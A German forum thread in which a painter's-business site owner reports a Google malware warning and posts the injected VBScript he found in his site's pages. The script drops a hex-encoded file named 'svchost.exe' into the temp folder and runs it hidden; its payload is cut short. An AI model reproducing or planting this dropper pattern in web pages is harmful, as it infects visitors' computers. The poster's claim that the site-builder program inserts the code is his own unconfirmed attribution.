Bernie? es ist zu 100% WebSiteX5, dass diese Programm den COde hinterlässt.
Ich habe nun einen völlig unabhänigen PC genommen das WebSiteX5 V9 installiert und auch hier bei der WebSiteerstellung, generiert das scheiss Ding den Shad-Code!
Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
AnmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenBernie? es ist zu 100% WebSiteX5, dass diese Programm den COde hinterlässt.
Ich habe nun einen völlig unabhänigen PC genommen das WebSiteX5 V9 installiert und auch hier bei der WebSiteerstellung, generiert das scheiss Ding den Shad-Code!
Hey Andy,
ich habe das Problem gefunden zusammen mit meinem WebSpace-Hoster.
Das Programm WebSiteX5 ist auf deutsch "eine miese Drecksau" es hat eigenständig OHNE mein Wissen einen Shad-Code hinzugefügt.
dieser sieht wie folgt aus:
./mehrwert.html:Set WSHshell = CreateObject(\"WScript.Shell\")./mehrwert.html:WSHshell.Run DropPath, 0
./parkettarbeiten.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./parkettarbeiten.html:WSHshell.Run DropPath, 0
./google4cf81150c0820f04.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./google4cf81150c0820f04.html:WSHshell.Run DropPath, 0
./index.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./index.html:WSHshell.Run DropPath, 0
./waermedaemmung--wdvs-.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./waermedaemmung--wdvs-.html:WSHshell.Run DropPath, 0
./wo-wir-sind.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./wo-wir-sind.html:WSHshell.Run DropPath, 0
./waermedaemmverbundsysteme--wdvs-.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./waermedaemmverbundsysteme--wdvs-.html:WSHshell.Run DropPath, 0
./was-wir-wollen.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./was-wir-wollen.html:WSHshell.Run DropPath, 0
./marmorimitationen.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./marmorimitationen.html:WSHshell.Run DropPath, 0
./service.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./service.html:WSHshell.Run DropPath, 0
./innenraumgestaltung.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./innenraumgestaltung.html:WSHshell.Run DropPath, 0
./wand--und-fassadenmalerei.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./wand--und-fassadenmalerei.html:WSHshell.Run DropPath, 0
./dekorative-malertechniken.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./dekorative-malertechniken.html:WSHshell.Run DropPath, 0
./tapezierungen.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./tapezierungen.html:WSHshell.Run DropPath, 0
./imsitemap.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./imsitemap.html:WSHshell.Run DropPath, 0
./farbdesign.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./farbdesign.html:WSHshell.Run DropPath, 0
./dekorationsarbeiten.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./dekorationsarbeiten.html:WSHshell.Run DropPath, 0
./impressum.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./impressum.html:WSHshell.Run DropPath, 0
./italienische-marmorwaende.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./italienische-marmorwaende.html:WSHshell.Run DropPath, 0
./aktuelles.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./aktuelles.html:WSHshell.Run DropPath, 0
./wer-wir-sind.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./wer-wir-sind.html:WSHshell.Run DropPath, 0
./computergesteuerte-farbbearbeitung.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./computergesteuerte-farbbearbeitung.html:WSHshell.Run DropPath, 0
./fuszbodenbeschichtung.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./fuszbodenbeschichtung.html:WSHshell.Run DropPath, 0
./handwerkliche-praezision.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./handwerkliche-praezision.html:WSHshell.Run DropPath, 0
./illusionsmalerei.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./illusionsmalerei.html:WSHshell.Run DropPath, 0
./feedback.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./feedback.html:WSHshell.Run DropPath, 0
./teppichverlegung.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./teppichverlegung.html:WSHshell.Run DropPath, 0
./tapeten---feeling.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./tapeten---feeling.html:WSHshell.Run DropPath, 0
./fassadenanstriche.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./fassadenanstriche.html:WSHshell.Run DropPath, 0
./imsearch.php:Set WSHshell = CreateObject(\"WScript.Shell\")
./imsearch.php:WSHshell.Run DropPath, 0
./was-wir-koennen.html:Set WSHshell = CreateObject(\"WScript.Shell\")
./was-wir-koennen.html:WSHshell.Run DropPath, 0
Ich habe diesen Shad-Code bei jeder HTML-Seite manuell entfernt und die Seite wieder neu hochgeladen. (alte gelöscht und ne3u hochgeladen)
Derzeit warte ich auf eine Rückmeldung von GooGle oder dergleichen, dass diese Warnung wieder entfernt wird.
Dieses Shell-Script dass WebSiteX5 hinzufügt, ändert einiges in der Windows Registery ab.
MFG
Klaus Katzer
PS: Das ist der komplette Shad-Code:
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
Hallo Zusammen,
ich habe folgendes Problem:
wenn man auf meine folgende Internetseite draufklickt kommt von Google eine "Maleware-Warnung" ich habe bereits meinen PC gecheckt, dieser ist aber clean.
habe zudem auch noch WebSite X5 V9 deinstalliert und wieder instralliert und die Homepage KOMPLETT neu erstellt. Nur leider OHNE Erfolg. Die meldung besteht immernoch, auch die Passwörter wurden bereits geändert.
Kann mir irgendjemand weiterhelfen?
Ich bin sowas von verzweifelt, da man auf der "offiziellen" WebSiteX5 Answers keine Beiträge erstellen kann, warum? Weiss ich auch nicht! Aufjedenfall bekomm ich grad schon wieder das KOTZEN wenn ich sehe, dass die nichtmal eine Mailadresse angeben wo man sich evtl. melden kann wegen Problemen...
Aber nunja jetzt bin ich auf euch gestossen und hoffe Ihr könnt mir helfen.
Homepage: -> Malermeister Katzer
MfG
Klaus Katzer
PS: meine Kenntnis mit WebSiteX5 ist sehr beschrängt, bitte beachtet dies und evtl. bitte in vereinfachter Version schreiben
Virus Total:
URL-ScannerErgebnis
ADMINUSLabsClean
siteAlienVaultClean
siteAntiy-AVLClean
siteAviraClean
siteBitDefenderClean
siteC-SIRTClean
siteCLEAN
MXClean
siteComodo
Site InspectorClean
siteCyberCrimeUnrated
siteDr.WebClean
siteESETClean
siteFortinetUnrated
siteG-DataClean
siteGoogle SafebrowsingMalware
siteK7AntiVirusClean
siteKasperskyUnrated
siteMalc0de DatabaseClean
siteMalekalClean
siteMalwareDomainListClean
siteMalwarePatrolClean
siteMinotaurClean
siteNetcraftUnrated
siteOperaClean
siteParetoLogicClean
sitePhishtankClean
siteQutteraClean
siteSCUMWARE.orgClean
siteSecureBrainUnrated
siteSophosMalicious
siteSpyEyeTrackerClean
siteSucuri SiteCheckClean
siteURLQueryUnrated
siteVX VaultClean
siteWebsense ThreatSeekerUnrated
siteWepawetUnrated
siteYandex SafebrowsingClean
siteZDB ZeusClean
siteZeusTrackerClean
sitezveloClean site